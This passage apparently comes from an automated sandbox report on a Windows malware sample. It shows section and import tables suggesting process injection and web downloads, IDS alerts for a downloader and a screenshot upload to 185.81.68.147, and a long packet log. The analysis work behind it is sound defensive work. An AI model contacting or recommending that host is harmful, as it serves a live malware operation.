.pdata	0x4a000	0x3684	0x3800	64e7aef89a420ab6b545b755dc59fc8b	False	0.4467075892857143	data	5.371093520465766	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x4e000	0x328	0x400	afc7859aa58f88974d9c00a10e503687	False	0.361328125	data	2.6264502958855083	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4f000	0x1b46	0x1c00	4a96da83210b3d552cda392312dda929	False	0.14369419642857142	data	1.8739563728647028	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.x64	0x51000	0x45000	0x44600	451b1d2808d300a701e03153dc6f2dee	False	0.44233103861974404	data	6.198787658476831	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x4e060	0x2c4	data	English	United States	0.4717514124293785

Imports

DLL	Import
WININET.dll	InternetReadFile, InternetOpenUrlA, InternetCloseHandle, InternetOpenA
KERNEL32.dll	GetModuleHandleA, GetProcAddress, GetSystemInfo, ExpandEnvironmentStringsW, GetCurrentDirectoryW, CreateFileW, GetFileSize, GetTempFileNameW, SetFilePointer, WriteFile, GetTempPathW, CloseHandle, DuplicateHandle, GetLastError, WaitForSingleObject, GetCurrentProcess, CreateThread, TerminateThread, GetExitCodeThread, ResumeThread, GetThreadContext, SetThreadContext, OpenProcess, GetSystemDirectoryW, VirtualAllocEx, WriteProcessMemory, WriteConsoleW, MapViewOfFile, UnmapViewOfFile, FreeLibrary, GetModuleFileNameW, Wow64GetThreadContext, Wow64SetThreadContext, lstrcatW, LoadLibraryA, LoadLibraryW, Sleep, GlobalAlloc, GlobalLock, GlobalUnlock, CreateFileA, SetFileAttributesA, GetVersionExW, lstrcmpA, lstrcpyA, lstrlenA, GetTempPathA, GetTempFileNameA, GetComputerNameA, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, FlushFileBuffers, LocalFree, CreateFileMappingW, SetStdHandle, SetFilePointerEx, GetConsoleMode, GetConsoleCP, GetStringTypeW, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSectionEx, EnumSystemLocalesEx, IsValidLocaleName, LCMapStringEx, GetUserDefaultLocaleName, GetLocaleInfoEx, EncodePointer, DecodePointer, WideCharToMultiByte, HeapFree, HeapAlloc, RaiseException, HeapReAlloc, GetCommandLineW, GetStdHandle, IsProcessorFeaturePresent, ExitProcess, GetModuleHandleExW, MultiByteToWideChar, HeapSize, IsDebuggerPresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, GetCurrentThreadId, GetProcessHeap, GetFileType, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InitOnceExecuteOnce, GetStartupInfoW, QueryPerformanceCounter, GetSystemTimeAsFileTime, GetTickCount64, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, TerminateProcess, GetModuleHandleW, OutputDebugStringW, LoadLibraryExW, CompareStringEx
ADVAPI32.dll	FreeSid, CheckTokenMembership, AllocateAndInitializeSid, GetUserNameA
SHELL32.dll	ShellExecuteExA
OLEAUT32.dll	SysAllocString, VariantClear, SysFreeString
USERENV.dll	CreateEnvironmentBlock
ntdll.dll	RtlCaptureContext, RtlUnwindEx, RtlLookupFunctionEntry, RtlPcToFileHeader, NtReadVirtualMemory, NtQueryInformationProcess, RtlVirtualUnwind

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-26T12:05:06.143606+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49708	185.81.68.147	80	TCP
2024-12-26T12:05:06.143606+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49708	185.81.68.147	80	TCP
2024-12-26T12:05:18.248270+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49716	185.81.68.147	80	TCP
2024-12-26T12:05:45.257802+0100	2843856	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2	1	192.168.2.5	49808	185.81.68.147	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 12:05:01.044250965 CET	49704	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:01.044382095 CET	49705	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:01.163837910 CET	80	49704	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:01.163856983 CET	80	49705	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:01.163914919 CET	49704	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:01.163948059 CET	49705	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:01.164187908 CET	49704	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:01.164652109 CET	49705	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:01.283725023 CET	80	49704	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:01.284360886 CET	80	49705	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:02.711452961 CET	80	49704	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:02.711483955 CET	80	49704	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:02.711513042 CET	49704	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:02.711548090 CET	49704	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:02.800512075 CET	49704	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:02.909792900 CET	49706	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:02.920135975 CET	80	49704	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:02.934142113 CET	80	49705	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:02.934185028 CET	80	49705	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:02.934223890 CET	49705	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:02.934276104 CET	49705	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:02.939774990 CET	49705	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:03.029360056 CET	80	49706	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:03.029444933 CET	49706	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:03.041512966 CET	49706	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:03.059426069 CET	80	49705	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:03.156987906 CET	49707	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:03.161055088 CET	80	49706	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:03.276484013 CET	80	49707	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:03.276590109 CET	49707	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:03.276761055 CET	49707	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:03.396635056 CET	80	49707	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:04.592205048 CET	80	49706	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:04.592257023 CET	49706	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:04.592375040 CET	80	49706	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:04.592524052 CET	49706	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:04.593184948 CET	49706	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:04.598506927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:04.712877989 CET	80	49706	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:04.718086004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:04.718183041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:04.718410969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:04.837974072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:04.932406902 CET	80	49707	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:04.932425976 CET	80	49707	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:04.932497025 CET	49707	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:04.932642937 CET	49707	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:05.052155972 CET	80	49707	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:05.192651987 CET	49709	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:05.312293053 CET	80	49709	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:05.312393904 CET	49709	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:05.312515020 CET	49709	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:05.432007074 CET	80	49709	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143408060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143430948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143449068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143461943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143474102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143495083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143508911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143605947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.143764019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143796921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.143809080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.143820047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143834114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.143877983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.263509989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.263529062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.263641119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.267631054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.267705917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.354243994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.354263067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.354345083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.358237028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.358282089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.358295918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.358330965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.366555929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.366633892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.366852999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.366925955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.374989033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.375055075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.375123024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.383411884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.383516073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.383572102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.383616924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.391701937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.391792059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.391805887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.391848087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.400149107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.400216103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.400238991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.400288105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.408560038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.408597946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.408706903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.416863918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.416944981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.416999102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.425250053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.425328016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.425390959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.433703899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.433747053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.433763981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.433813095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.564702988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.564763069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.564774990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.564809084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.567275047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.567331076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.567385912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.567428112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.572597027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.572648048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.572698116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.572741032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.577883005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.577945948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.577948093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.577980995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.583142996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.583213091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.583236933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.583281994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.588439941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.588490963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.588536024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.588581085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.593736887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.593885899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.593903065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.594043970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.599051952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.599107027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.599139929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.599184036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.604289055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.604336977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.604379892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.604424000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.609594107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.609651089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.609805107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.609852076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.614864111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.614924908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.614958048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.615001917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.620147943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.620212078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.620275974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.620326996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.625447035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.625515938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.625535965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.625590086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.630745888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.630804062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.630837917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.630889893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.636054039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.636100054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.636135101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.636223078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.641326904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.641412020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.775490999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.775513887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.775676012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.777359009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.777390003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.777462006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.777508974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.780761957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.780852079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.780888081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.780909061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.785221100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.785306931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.785351038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.785396099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.789633989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.789719105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.789743900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.789797068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.794111967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.794146061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.794203043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.794259071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.798546076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.798599005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.798623085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.798650980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.802952051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.803026915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.803051949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.803105116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.807375908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.807465076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.807476997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.807511091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.811816931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.811898947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.811909914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.811961889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.816220999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.816304922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.816323042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.816381931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.820648909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.820707083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.820754051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.820802927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.825126886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.825186968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.825217009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.825268984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.829510927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.829586983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.829648018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.829699039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.833981991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.834039927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.834047079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.834101915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.838378906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.838438988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.838496923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.838546991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.842794895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.842856884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.842889071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.842941046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.847258091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.847352982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.847449064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.851716995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.851820946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.851914883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.856137991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.856275082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.856353998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.860661030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.860754967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.860842943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.865058899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.865124941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.865209103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.869415998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.869522095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.869606018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.873841047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.873939991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.874011040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.878335953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.878418922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.878494978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.878566027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.882693052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.882756948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.985641956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.985877991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.986020088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.987308979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.987435102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.987463951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.987493038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.990700006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.990813017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.990866899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.993959904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.994020939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.994036913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.994133949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:06.997351885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.997392893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:06.997497082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.000555992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.000622034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.000710011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.000756979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.003715038 CET	80	49708	185.81.68.147	192.168.2.5
